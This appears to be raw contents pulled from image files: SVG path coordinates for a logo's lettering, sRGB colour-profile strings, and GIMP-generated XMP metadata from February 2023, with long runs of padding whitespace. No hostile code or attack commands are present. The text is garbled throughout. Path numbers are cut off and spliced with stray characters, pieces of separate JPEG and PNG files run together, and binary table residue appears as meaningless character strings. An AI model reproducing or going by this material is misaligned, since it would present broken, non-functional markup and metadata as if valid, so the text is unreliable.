		c-0.01-0.38-0.08-0.72-0.23-1.02c-0.15-0.29-0.35-0.52-0.61-0.68s-0.56-0.24-0.9-0.24c-0.36,0-0.68,0.08-0.96,0.25
		c-0.28,0.16-0.49,0.39-0.64,0.68c-0.15,0.29-0.23,0.63-0.23,1.02c0,0.38,0.08,0.71,0.23,0.99s0.36,0.51,0.64,0.66
		c0.28,0.16,0.6,0.23,0.96,0.23C216.85,339.22,217.16,339.15,217.42,338.99z"/>
	<path d="M224.83,340.16cM
-0.21-0.38-0.36-0.73-0.45-1.07c-0.05,0.15-0.16,0.3-0.31,0.45c-0.15,0.15-0.35,0.27-0.6,0.38
		c-0.25,0.1-0.52,0.15-0.83,0.15c-0.51,0-0.92-0.1-1.24-0.3s-0.54-0.46-0.67-0.77c-0.13-0.32-0.2-0.67-0.2-1.05v-3.29h0.89v3.01
		c0,0.47,0.1,0.85,0.3,1.14s0.57,0.43,1.12,0.43c0.41,0,0.75-0.1,1.02-0.29c0.27-0.19,0.4-0.52,0.4-0.97v-3.33h0.89v3.5
		c0,0.53,0.16,1.08,0.47,1.64L224.83,340.16z"/>
	<path d="M229.18,334.52c0.16,0,0.33,0.02,0.51,0.05l-0.15,0.85c-0.1-0.01-0.2-0.02-0.3-0.02c-0.56,0-1.03,0.17-1.4,0.52v4.03h-0.89
.29h0.67l0.12,0.51C228.12,334.73,228.6,334.52,229.18,334.52z"/>
	<path class="st1" d="M234.69,339.74c-0.39-0.22-0.7-0.54-0.9-0.95c-0.21-0.42-0.31-0.91-0.31-1.48c0-0.56,0.1-1.06,0.31-1.48
		s0.52-0.74,0.92-0.97c0.41-0.23,0.89-0.34,1.46-0.34c0.3,0,0.59,0.02,0.88,0.08c0.29,0.06,0.53,0.13,0.73,0.23l-0.22,0.9
		c-0.44-0.2-0.9-0.3-1.38-0.3c-0.6,0-1.04,0.16-1.31,0.46s-0.41,0.77-0.41,1.39c0,0.64,0.15,1.12,0.46,1.44
		c0.31,0.32,0.76,0.47,1.36,0.47c0.24,0,0.46-0.02,0.65-0.07c0.19-0.05,0.44-0.13,0.75-0.25l0.28,0.83
0.3,0.12-0.62,0.21-0.94,0.27s-0.63,0.1-0.92,0.1C235.56,340.07,235.08,339.96,234.69,339.74z"/>
	<path class="st1" d="M239.03,332.82c-0.12-0.12-0.17-0.26-0.17-0.44c0-0.17,0.06-0.31,0.17-0.43c0.12-0.12,0.26-0.17,0.44-0.17
		c0.17,0,0.31,0.06,0.43,0.17s0.17,0.26,0.17,0.43c0,0.17-0.06,0.32-0.17,0.44c-0.12,0.12-0.26,0.17-0.43,0.17
		C239.29,333,239.15,332.94,239.03,332.82z M239,334.65h0.89v5.29H239V334.65z"/>
	<path class="st1" d="M242.82,335.45v2.86c0,0.16,0.04,0.31,0.11,0.46s0.18,0.27,0.32,0.37c0.14,0.1,0.32,0.14,0M
		c0.14,0,0.31-0.01,0.49-0.04v0.8c-0.24,0.02-0.47,0.03-0.72,0.03c-0.34,0-0.62-0.07-0.86-0.22c-0.24-0.14-0.41-0.34-0.53-0.58
		c-0.12-0.25-0.18-0.52-0.18-0.81v-3.02h-0.96v-0.79h0.96v-1.9h0.84v1.9h1.46v0.79H242.82z"/>
	<path class="st1" d="M244.96,341.74c0.31-0.07,0.57-0.17,0.78-0.29s0.39-0.29,0.54-0.49c0.15-0.2,0.28-0.46,0.4-0.78l0.1-0.26
		l-2.13-5.26h1.04l1.43,3.79l0.11,0.42h0.03l0.11-0.41l1.5-3.8l1.04-0.01l-2.47,6.05c-0.18,0.47-0.39,0.84-0.62,1.09
		s-0.46,0.42-0.68,0.51c-0.23,0.09-0.51,0.17-0.86,0.M
25l-0.11,0.02L244.96,341.74z"/>
	<path d="M256.83,336.77h2.97v0.7h-2.97V336.77z"/>
	<path d="M267.06,339.66l0.29-0.8c0.58,0.26,1.08,0.4,1.49,0.4c0.75-0.01,1.13-0.26,1.14-0.74c0-0.17-0.05-0.31-0.14-0.42
		c-0.1-0.11-0.22-0.2-0.36-0.26c-0.14-0.07-0.34-0.14-0.59-0.22c-0.33-0.11-0.6-0.21-0.8-0.31c-0.21-0.1-0.38-0.26-0.53-0.46
		c-0.15-0.21-0.22-0.48-0.22-0.82c0.01-1.01,0.63-1.52,1.85-1.52c0.56,0,1.05,0.1,1.47,0.29l-0.31,0.81
		c-0.42-0.18-0.8-0.28-1.16-0.28c-0.65,0.01-0.99,0.24-1.01,0.7c0,0.14,0.04,0.25,0.13,0.34cM
0.09,0.09,0.2,0.16,0.32,0.22
		c0.13,0.06,0.31,0.12,0.54,0.2c0.34,0.11,0.63,0.22,0.84,0.33c0.22,0.11,0.41,0.28,0.57,0.51c0.16,0.23,0.24,0.53,0.24,0.9
		c0,1.04-0.66,1.56-1.98,1.56C268.28,340.08,267.68,339.94,267.06,339.66z"/>
	<path d="M275.89,340.16c-0.2-0.35-0.35-0.71-0.45-1.08c-0.06,0.18-0.18,0.35-0.36,0.5s-0.39,0.27-0.64,0.36s-0.5,0.13-0.75,0.13
		c-0.36,0-0.68-0.06-0.96-0.17c-0.28-0.11-0.51-0.29-0.67-0.52c-0.16-0.24-0.25-0.53-0.25-0.88c0-0.34,0.08-0.64,0.26-0.89
		c0.17-0.25,0.41-0.44,0.73-0.58c0.31-0.13,M
0.68-0.2,1.09-0.2c0.5,0,0.98,0.13,1.43,0.39v-0.55c0-0.43-0.1-0.75-0.3-0.95
		c-0.2-0.2-0.5-0.3-0.9-0.3c-0.15,0-0.37,0.01-0.66,0.04c-0.28,0.02-0.55,0.05-0.8,0.09l-0.15-0.89c0.44-0.05,0.79-0.09,1.04-0.11
		c0.25-0.02,0.46-0.03,0.63-0.03c0.66,0,1.16,0.17,1.5,0.52s0.51,0.87,0.52,1.55l0.01,1.57c0,0.53,0.16,1.08,0.47,1.64
		L275.89,340.16z M274.64,339.09c0.21-0.1,0.38-0.24,0.5-0.42c0.12-0.18,0.18-0.39,0.18-0.62V338c-0.18-0.1-0.38-0.18-0.6-0.24
		c-0.22-0.06-0.45-0.08-0.69-0.08c-0.39,0-0.7,0.07-0.93,0.2c-0.23,0.14-0.3M
5,0.32-0.35,0.56c0,0.16,0.05,0.29,0.14,0.41
		c0.1,0.12,0.23,0.21,0.4,0.28c0.17,0.07,0.38,0.1,0.6,0.1C274.18,339.24,274.43,339.19,274.64,339.09z"/>
	<path d="M277.07,334.65h0.95l1.41,3.63c0.03,0.07,0.07,0.21,0.12,0.4c0.05,0.2,0.08,0.32,0.08,0.38h0.02
		c0.01-0.08,0.03-0.21,0.07-0.4s0.07-0.31,0.09-0.36l1.48-3.66h0.98l-2.22,5.32h-0.88L277.07,334.65z"/>
	<path d="M286.49,339.17c0.27-0.05,0.54-0.13,0.81-0.24l0.28,0.76c-0.26,0.11-0.58,0.2-0.98,0.27c-0.4,0.07-0.75,0.11-1.08,0.11
		c-0.86,0-1.52-0.23-1.99-0.69c-0.47-M
0.46-0.71-1.16-0.71-2.12c0-0.59,0.1-1.1,0.31-1.51c0.21-0.41,0.51-0.73,0.91-0.94
		c0.39-0.21,0.87-0.32,1.42-0.32c0.49,0,0.9,0.11,1.23,0.34c0.33,0.23,0.57,0.52,0.73,0.89c0.16,0.36,0.24,0.75,0.24,1.17
		c0,0.29-0.04,0.57-0.12,0.86l-3.78,0.03c0.08,0.49,0.28,0.86,0.61,1.11s0.77,0.37,1.34,0.37
		C285.96,339.25,286.22,339.22,286.49,339.17z M284.19,335.79c-0.26,0.3-0.41,0.7-0.45,1.2l2.94-0.03c0.01-0.09,0.01-0.15,0.01-0.2
		c0-0.25-0.04-0.48-0.14-0.69c-0.09-0.22-0.24-0.39-0.44-0.53s-0.46-0.2-0.77-0.2C284.84,335.34,284.M
45,335.49,284.19,335.79z"/>
	<path d="M291.57,341.74c0.31-0.07,0.57-0.17,0.78-0.29s0.39-0.29,0.54-0.49c0.15-0.2,0.28-0.46,0.4-0.78l0.1-0.26l-2.13-5.26h1.04
		l1.43,3.79l0.11,0.42h0.03l0.11-0.41l1.5-3.8l1.04-0.01l-2.47,6.05c-0.18,0.47-0.39,0.84-0.62,1.09s-0.46,0.42-0.68,0.51
		c-0.23,0.09-0.51,0.17-0.86,0.25l-0.11,0.02L291.57,341.74z"/>
	<path d="M298.39,339.74c-0.42-0.23-0.74-0.55-0.97-0.97c-0.23-0.42-0.34-0.9-0.34-1.45c0-0.55,0.11-1.04,0.34-1.47
		c0.23-0.42,0.55-0.75,0.97-0.98c0.42-0.23,0.9-0.35,1.45-0.35c0.M
54,0,1.01,0.12,1.42,0.35c0.41,0.23,0.72,0.56,0.95,0.98
		c0.22,0.42,0.33,0.91,0.33,1.47c0,0.55-0.11,1.03-0.33,1.45c-0.22,0.42-0.54,0.74-0.95,0.97c-0.41,0.23-0.88,0.34-1.42,0.34
		C299.3,340.08,298.81,339.97,298.39,339.74z M300.75,338.99c0.26-0.16,0.47-0.38,0.61-0.67c0.15-0.29,0.22-0.62,0.23-1
		c-0.01-0.38-0.08-0.72-0.23-1.02c-0.15-0.29-0.35-0.52-0.61-0.68s-0.56-0.24-0.9-0.24c-0.36,0-0.68,0.08-0.96,0.25
		c-0.28,0.16-0.49,0.39-0.64,0.68c-0.15,0.29-0.23,0.63-0.23,1.02c0,0.38,0.08,0.71,0.23,0.99s0.36,0.51,0.64,0.M
		c0.28,0.16,0.6,0.23,0.96,0.23C300.19,339.22,300.49,339.15,300.75,338.99z"/>
	<path d="M308.17,340.16c-0.21-0.38-0.36-0.73-0.45-1.07c-0.05,0.15-0.16,0.3-0.31,0.45c-0.15,0.15-0.35,0.27-0.6,0.38
		c-0.25,0.1-0.52,0.15-0.83,0.15c-0.51,0-0.92-0.1-1.24-0.3s-0.54-0.46-0.67-0.77c-0.13-0.32-0.2-0.67-0.2-1.05v-3.29h0.89v3.01
		c0,0.47,0.1,0.85,0.3,1.14s0.57,0.43,1.12,0.43c0.41,0,0.75-0.1,1.02-0.29c0.27-0.19,0.4-0.52,0.4-0.97v-3.33h0.89v3.5
		c0,0.53,0.16,1.08,0.47,1.64L308.17,340.16z"/>
	<path d="M312.51,334.52c0.M
16,0,0.33,0.02,0.51,0.05l-0.15,0.85c-0.1-0.01-0.2-0.02-0.3-0.02c-0.56,0-1.03,0.17-1.4,0.52v4.03h-0.89
		v-5.29h0.67l0.12,0.51C311.45,334.73,311.93,334.52,312.51,334.52z"/>
	<path class="st1" d="M316.76,339.66l0.29-0.8c0.58,0.26,1.08,0.4,1.49,0.4c0.75-0.01,1.13-0.26,1.14-0.74
		c0-0.17-0.05-0.31-0.14-0.42c-0.1-0.11-0.22-0.2-0.36-0.26c-0.14-0.07-0.34-0.14-0.59-0.22c-0.33-0.11-0.6-0.21-0.8-0.31
		c-0.21-0.1-0.38-0.26-0.53-0.46c-0.15-0.21-0.22-0.48-0.22-0.82c0.01-1.01,0.63-1.52,1.85-1.52c0.56,0,1.05,0.1,1.47,0.29
		l-0.31,0.81c-0.42-0.18-0.8-0.28-1.16-0.28c-0.65,0.01-0.99,0.24-1.01,0.7c0,0.14,0.04,0.25,0.13,0.34
		c0.09,0.09,0.2,0.16,0.32,0.22c0.13,0.06,0.31,0.12,0.54,0.2c0.34,0.11,0.63,0.22,0.84,0.33c0.22,0.11,0.41,0.28,0.57,0.51
		c0.16,0.23,0.24,0.53,0.24,0.9c0,1.04-0.66,1.56-1.98,1.56C317.98,340.08,317.38,339.94,316.76,339.66z"/>
	<path class="st1" d="M323.04,335.45v2.86c0,0.16,0.04,0.31,0.11,0.46s0.18,0.27,0.32,0.37c0.14,0.1,0.32,0.14,0.53,0.14
		c0.14,0,0.31-0.01,0.49-0.04v0.8c-0.24,0.02-0.47,0.03-0.72,0.03c-0.34,M
0-0.62-0.07-0.86-0.22c-0.24-0.14-0.41-0.34-0.53-0.58
		c-0.12-0.25-0.18-0.52-0.18-0.81v-3.02h-0.96v-0.79h0.96v-1.9h0.84v1.9h1.46v0.79H323.04z"/>
	<path class="st1" d="M325.18,341.74c0.31-0.07,0.57-0.17,0.78-0.29s0.39-0.29,0.54-0.49c0.15-0.2,0.28-0.46,0.4-0.78l0.1-0.26
		l-2.13-5.26h1.04l1.43,3.79l0.11,0.42h0.03l0.11-0.41l1.5-3.8l1.04-0.01l-2.47,6.05c-0.18,0.47-0.39,0.84-0.62,1.09
		s-0.46,0.42-0.68,0.51c-0.23,0.09-0.51,0.17-0.86,0.25l-0.11,0.02L325.18,341.74z"/>
	<path class="st1" d="M331.07,331.71h0.89v8.24h-M
	<path class="st1" d="M337.05,339.17c0.27-0.05,0.54-0.13,0.81-0.24l0.28,0.76c-0.26,0.11-0.58,0.2-0.98,0.27
		c-0.4,0.07-0.75,0.11-1.08,0.11c-0.86,0-1.52-0.23-1.99-0.69c-0.47-0.46-0.71-1.16-0.71-2.12c0-0.59,0.1-1.1,0.31-1.51
		c0.21-0.41,0.51-0.73,0.91-0.94c0.39-0.21,0.87-0.32,1.42-0.32c0.49,0,0.9,0.11,1.23,0.34c0.33,0.23,0.57,0.52,0.73,0.89
		c0.16,0.36,0.24,0.75,0.24,1.17c0,0.29-0.04,0.57-0.12,0.86l-3.78,0.03c0.08,0.49,0.28,0.86,0.61,1.11s0.77,0.37,1.34,0.37
		C336.52,339.25,336.78,339.22,337.M
05,339.17z M334.75,335.79c-0.26,0.3-0.41,0.7-0.45,1.2l2.94-0.03c0.01-0.09,0.01-0.15,0.01-0.2
		c0-0.25-0.04-0.48-0.14-0.69c-0.09-0.22-0.24-0.39-0.44-0.53s-0.46-0.2-0.77-0.2C335.4,335.34,335.01,335.49,334.75,335.79z"/>
	<path d="M74.05,317.45l1-2.72c1.98,0.89,3.68,1.34,5.08,1.37c2.56-0.04,3.85-0.88,3.86-2.53c0-0.58-0.16-1.05-0.49-1.42
		c-0.33-0.37-0.73-0.67-1.22-0.89c-0.49-0.22-1.15-0.47-2-0.74c-1.12-0.36-2.03-0.71-2.73-1.06c-0.7-0.35-1.3-0.88-1.8-1.58
		c-0.5-0.7-0.75-1.63-0.75-2.79c0.04-3.45,2.14-5M
.17,6.3-5.17c1.91,0,3.57,0.33,4.99,0.98l-1.05,2.75
		c-1.42-0.63-2.73-0.94-3.93-0.94c-2.2,0.02-3.35,0.82-3.44,2.38c0,0.47,0.15,0.86,0.44,1.16c0.3,0.31,0.66,0.56,1.1,0.75
		c0.44,0.19,1.05,0.42,1.84,0.67c1.17,0.37,2.13,0.74,2.87,1.12c0.74,0.38,1.39,0.95,1.93,1.72c0.54,0.77,0.81,1.79,0.81,3.06
		c0,3.55-2.24,5.32-6.72,5.32C78.18,318.88,76.15,318.4,74.05,317.45z"/>
	<path d="M115.43,300.88c0.99,0.62,1.73,1.47,2.23,2.55c0.49,1.08,0.75,2.33,0.76,3.73v11.27h-3.03v-10.42
		c-0.02-1.53-0.35-2.77-0.96-3.72s-1.62-1.43-3M
.03-1.43c-1,0-1.94,0.18-2.82,0.53c-0.88,0.35-1.65,0.83-2.3,1.45
		c0.17,0.75,0.26,1.53,0.26,2.33v11.27h-3.03v-10.42c-0.02-1.53-0.35-2.77-0.96-3.72c-0.62-0.95-1.63-1.43-3.03-1.43
		c-0.94,0-1.82,0.18-2.66,0.53c-0.84,0.35-1.58,0.84-2.23,1.47l-0.04,13.58h-3.03l0.04-17.99h2.24l0.57,1.77
		c1.39-1.5,3.23-2.25,5.5-2.25c1.26,0,2.34,0.23,3.26,0.7c0.92,0.47,1.65,1.13,2.19,2c1.8-1.8,3.94-2.7,6.43-2.7
		C113.22,299.96,114.44,300.27,115.43,300.88z"/>
	<path d="M136.65,319.15c-0.68-1.18-1.19-2.4-1.53-3.66c-0.21,0.62-0.62,1M
.18-1.22,1.7c-0.6,0.52-1.32,0.92-2.16,1.22
		s-1.69,0.44-2.55,0.44c-1.22,0-2.31-0.19-3.28-0.57c-0.97-0.38-1.73-0.97-2.29-1.77c-0.56-0.8-0.84-1.8-0.84-2.99
		c0-1.16,0.29-2.16,0.87-3.02c0.58-0.86,1.4-1.51,2.47-1.97c1.06-0.46,2.31-0.68,3.72-0.68c1.7,0,3.32,0.44,4.86,1.31v-1.88
		c0-1.48-0.35-2.56-1.03-3.23c-0.69-0.68-1.71-1.02-3.07-1.02c-0.52,0-1.26,0.04-2.23,0.12c-0.97,0.08-1.87,0.19-2.71,0.32
		l-0.52-3.03c1.5-0.17,2.68-0.3,3.54-0.37c0.86-0.07,1.57-0.11,2.15-0.11c2.24,0,3.94,0.59,5.1,1.77c1.16,1.18,1.74,2.94,1.M
		l0.04,5.32c0.01,1.81,0.55,3.67,1.61,5.58L136.65,319.15z M132.4,315.53c0.73-0.33,1.29-0.81,1.69-1.42c0.4-0.62,0.6-1.32,0.6-2.12
		v-0.17c-0.62-0.34-1.3-0.61-2.05-0.8c-0.75-0.19-1.53-0.29-2.35-0.29c-1.32,0-2.37,0.23-3.16,0.69s-1.18,1.1-1.18,1.91
		c0,0.53,0.16,1,0.49,1.4s0.79,0.72,1.38,0.95c0.59,0.23,1.27,0.34,2.05,0.34C130.83,316.03,131.67,315.86,132.4,315.53z"/>
	<path d="M143.41,290.43h3.03v28h-3.03V290.43z"/>
	<path d="M152.57,290.43h3.03v28h-3.03V290.43z"/>
	<path d="M161.32,307.63h10.09v2.38h-10M
	<path d="M175.38,317.45l1-2.72c1.98,0.89,3.68,1.34,5.08,1.37c2.56-0.04,3.85-0.88,3.86-2.53c0-0.58-0.16-1.05-0.49-1.42
		c-0.33-0.37-0.73-0.67-1.22-0.89c-0.49-0.22-1.15-0.47-2-0.74c-1.12-0.36-2.03-0.71-2.73-1.06c-0.7-0.35-1.3-0.88-1.8-1.58
		c-0.5-0.7-0.75-1.63-0.75-2.79c0.04-3.45,2.14-5.17,6.3-5.17c1.91,0,3.57,0.33,4.99,0.98l-1.05,2.75
		c-1.42-0.63-2.73-0.94-3.93-0.94c-2.2,0.02-3.35,0.82-3.44,2.38c0,0.47,0.15,0.86,0.44,1.16c0.3,0.31,0.66,0.56,1.1,0.75
		c0.44,0.19,1.05,0.42,1.84,0.67c1.17,0.37M
,2.13,0.74,2.87,1.12c0.74,0.38,1.39,0.95,1.93,1.72c0.54,0.77,0.81,1.79,0.81,3.06
		c0,3.55-2.24,5.32-6.72,5.32C179.51,318.88,177.49,318.4,175.38,317.45z"/>
	<path d="M205.39,300.88c1.07,0.62,1.87,1.47,2.41,2.55c0.54,1.08,0.8,2.33,0.8,3.73v11.27h-3.03v-10.42c0-1.51-0.33-2.75-0.98-3.71
		c-0.65-0.96-1.72-1.44-3.2-1.44c-1.06,0-2.06,0.19-2.99,0.56c-0.94,0.38-1.77,0.9-2.49,1.56v13.45h-3.03v-28.02h3.03v11.64
		c1.42-1.39,3.25-2.09,5.5-2.09C203,299.96,204.32,300.27,205.39,300.88z"/>
	<path d="M217.48,317.73c-1.42-0.7M
8-2.52-1.88-3.31-3.3s-1.17-3.06-1.17-4.92c0-1.88,0.39-3.55,1.17-4.99
		c0.78-1.44,1.88-2.56,3.31-3.34c1.42-0.79,3.07-1.18,4.94-1.18c1.83,0,3.45,0.39,4.84,1.18c1.39,0.79,2.46,1.9,3.21,3.33
		c0.75,1.43,1.12,3.1,1.11,5c0,1.87-0.38,3.52-1.14,4.93c-0.76,1.42-1.83,2.51-3.21,3.29c-1.38,0.78-2.99,1.16-4.81,1.16
		C220.55,318.89,218.91,318.51,217.48,317.73z M225.5,315.17c0.89-0.54,1.59-1.29,2.09-2.27c0.5-0.98,0.76-2.11,0.79-3.39
		c-0.03-1.3-0.29-2.46-0.79-3.45c-0.5-1-1.2-1.77-2.09-2.32s-1.91-0.82-3.07-0.82c-1.23,0-2.3M
		c-0.94,0.55-1.67,1.33-2.18,2.33c-0.51,1-0.77,2.16-0.77,3.47c0,1.28,0.25,2.41,0.77,3.38c0.51,0.97,1.23,1.72,2.17,2.25
		s2.03,0.79,3.27,0.79C223.58,315.97,224.61,315.71,225.5,315.17z"/>
	<path d="M250.18,301.02c1.21,0.71,2.14,1.74,2.77,3.1c0.63,1.36,0.95,3,0.95,4.9c0,2.01-0.33,3.75-1,5.22
		c-0.67,1.47-1.65,2.61-2.96,3.41c-1.31,0.8-2.91,1.2-4.79,1.2c-2.92,0-4.78-1.07-5.6-3.21v11.47h-3.05v-26.67h2.25l0.72,2.29
		c0.83-0.89,1.78-1.57,2.87-2.05c1.09-0.48,2.24-0.72,3.46-0.72C247.51,299.96,248.96,M
300.31,250.18,301.02z M248.07,315.29
		c0.79-0.49,1.42-1.27,1.88-2.32s0.69-2.38,0.69-3.98c0-1.91-0.45-3.39-1.36-4.43c-0.91-1.05-2.19-1.57-3.85-1.57
		c-0.95,0-1.93,0.16-2.95,0.49c-1.02,0.33-2,0.79-2.95,1.38v5.86c0,1.35,0.32,2.43,0.96,3.22c0.64,0.79,1.4,1.34,2.28,1.64
		c0.88,0.3,1.74,0.45,2.58,0.45C246.37,316.03,247.28,315.78,248.07,315.29z"/>
	<path d="M257.24,317.45l1-2.72c1.98,0.89,3.68,1.34,5.08,1.37c2.56-0.04,3.85-0.88,3.86-2.53c0-0.58-0.16-1.05-0.49-1.42
		s-0.73-0.67-1.22-0.89s-1.15-0.47-2-0.74c-1.12-0.M
36-2.03-0.71-2.73-1.06c-0.7-0.35-1.3-0.88-1.8-1.58
		c-0.5-0.7-0.75-1.63-0.75-2.79c0.04-3.45,2.14-5.17,6.3-5.17c1.91,0,3.57,0.33,4.99,0.98l-1.05,2.75
		c-1.42-0.63-2.73-0.94-3.93-0.94c-2.2,0.02-3.35,0.82-3.44,2.38c0,0.47,0.15,0.86,0.44,1.16c0.3,0.31,0.66,0.56,1.1,0.75
		c0.44,0.19,1.05,0.42,1.84,0.67c1.17,0.37,2.13,0.74,2.87,1.12c0.75,0.38,1.39,0.95,1.93,1.72s0.81,1.79,0.81,3.06
		c0,3.55-2.24,5.32-6.72,5.32C261.37,318.88,259.35,318.4,257.24,317.45z"/>
	<path d="M274.32,318.27c-0.38-0.38-0.56-0.88-0.56-1.5s0.1M
9-1.13,0.56-1.51c0.38-0.38,0.88-0.57,1.51-0.57s1.13,0.19,1.51,0.57
		s0.57,0.89,0.57,1.51s-0.19,1.13-0.57,1.5c-0.38,0.38-0.89,0.56-1.51,0.56S274.7,318.65,274.32,318.27z"/>
	<path d="M285.78,317.73c-1.34-0.75-2.36-1.83-3.07-3.24s-1.05-3.08-1.05-5.01c0-1.92,0.36-3.6,1.07-5.02
		c0.71-1.43,1.76-2.53,3.14-3.31c1.38-0.78,3.04-1.16,4.97-1.14c1.01-0.01,2,0.08,2.97,0.27c0.97,0.19,1.8,0.45,2.48,0.77
		l-0.74,3.07c-1.5-0.68-3.07-1.02-4.69-1.02c-2.06,0-3.55,0.53-4.47,1.58c-0.92,1.05-1.39,2.63-1.39,4.72
2,1.58,4.89c1.05,1.07,2.59,1.61,4.61,1.61c0.82,0,1.56-0.08,2.21-0.25c0.65-0.17,1.5-0.45,2.56-0.84l0.94,2.81
		c-1.03,0.39-2.1,0.7-3.2,0.92s-2.14,0.33-3.12,0.33C288.72,318.86,287.12,318.48,285.78,317.73z"/>
	<path d="M303.61,317.73c-1.42-0.78-2.52-1.88-3.31-3.3s-1.17-3.06-1.17-4.92c0-1.88,0.39-3.55,1.17-4.99
		c0.78-1.44,1.88-2.56,3.31-3.34c1.42-0.79,3.07-1.18,4.94-1.18c1.83,0,3.45,0.39,4.84,1.18c1.39,0.79,2.46,1.9,3.21,3.33
		c0.75,1.43,1.12,3.1,1.11,5c0,1.87-0.38,3.52-1.14,4.93c-0.76,1.42-1.83,2.51-3.21,3.29c-M
1.38,0.78-2.99,1.16-4.81,1.16
		C306.68,318.89,305.04,318.51,303.61,317.73z M311.63,315.17c0.89-0.54,1.59-1.29,2.09-2.27c0.5-0.98,0.76-2.11,0.79-3.39
		c-0.03-1.3-0.29-2.46-0.79-3.45c-0.5-1-1.2-1.77-2.09-2.32s-1.91-0.82-3.07-0.82c-1.23,0-2.32,0.28-3.26,0.83
		c-0.94,0.55-1.67,1.33-2.18,2.33c-0.51,1-0.77,2.16-0.77,3.47c0,1.28,0.25,2.41,0.77,3.38c0.51,0.97,1.23,1.72,2.17,2.25
		s2.03,0.79,3.27,0.79C309.71,315.97,310.74,315.71,311.63,315.17z"/>
	<path d="M346.47,300.88c0.99,0.62,1.73,1.47,2.23,2.55c0.49,1.08,0.74M
,2.33,0.76,3.73v11.27h-3.03v-10.42
		c-0.02-1.53-0.34-2.77-0.96-3.72c-0.62-0.95-1.63-1.43-3.03-1.43c-1,0-1.94,0.18-2.82,0.53c-0.88,0.35-1.65,0.83-2.3,1.45
		c0.17,0.75,0.26,1.53,0.26,2.33v11.27h-3.03v-10.42c-0.02-1.53-0.34-2.77-0.96-3.72c-0.62-0.95-1.63-1.43-3.03-1.43
		c-0.94,0-1.82,0.18-2.66,0.53c-0.84,0.35-1.58,0.84-2.23,1.47l-0.04,13.58h-3.03l0.04-17.99h2.23l0.57,1.77
		c1.39-1.5,3.23-2.25,5.5-2.25c1.26,0,2.34,0.23,3.26,0.7c0.92,0.47,1.65,1.13,2.19,2c1.8-1.8,3.94-2.7,6.43-2.7
		C344.26,299.96,345.48,300.27",346.47,300.88z"/>
()*89:HIJWXYZghijwxyz
()*789:FGHIJUVWXYZdefghijstuvwxyz
'#*" "*#>1++1>H<9<HWNNWmhm
'#*" "*#>1++1>H<9<HWNNWmhm
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
!22222222222222222222222222222222222222222222222222
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:GIMP="http://www.gimp.M
org/xmp/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:97d4e8b6-2baa-4f09-878b-d047915219a7" xmpMM:InstanceID="xmp.iid:ff1b8a73-9515-4e0f-b394-f2d31bbcad63" xmpMM:OriginalDocumentID="xmp.did:d58b0959-4933-4965-bad4-7a55660011c9" GIMP:API="2.0" GIMP:Platform="Mac OS" GIMP:TimeStamp="1676300751188828" GIMP:Version="2.10.32" dc:Format="image/jpeg" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:13T10:05:48-05:00" xmp:ModifyDate="2023:02:13M
T10:05:48-05:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:088f66cf-83d1-4337-adad-6d747747164b" stEvt:softwareAgent="Gimp 2.10 (Mac OS)" stEvt:when="2023-02-13T10:05:51-05:00"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                     M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                    <?xpacket end="w"?>
Copyright Apple Inc., 2017
zTXtRaw profile type exif
iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2">
 <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
  <rdf:Description rdf:about=""
    xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
    xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#"
    xmlns:dc="http://purl.org/dc/elements/1.1/"
    xmlns:GIMP="http://www.gimp.org/xmp/"
    xmlns:tiff="http://ns.adobe.com/tiff/1.0/"
http://ns.adobe.com/xap/1.0/"
   xmpMM:DocumentID="gimp:docid:gimp:9638b620-be24-490a-8e28-5f8134a81d6b"
   xmpMM:InstanceID="xmp.iid:da1641eb-f129-471a-b8d0-98bbe6f580b5"
   xmpMM:OriginalDocumentID="xmp.did:3123a7c7-6b5e-47db-bf50-5d66f2733978"
   dc:Format="image/png"
   GIMP:Platform="Windows"
   GIMP:TimeStamp="1676308825162826"
   GIMP:Version="2.10.30"
   tiff:Orientation="1"
   xmp:CreatorTool="GIMP 2.10">
      stEvt:action="saved"
      stEvt:instanceID="xmp.iid:466ece95-e0a9-4423-95d7-84095664a83d"
      stEvt:softwareAgent="Gimp 2.10 (Windows)"
      stEvt:when="2023-02-14T01:20:25"/>
  </rdf:Description>


                                                                 M





                                                                                M





                                                                                               M








<?xpacket end="w"?>r
iTXtXML:com.adobe.xmp
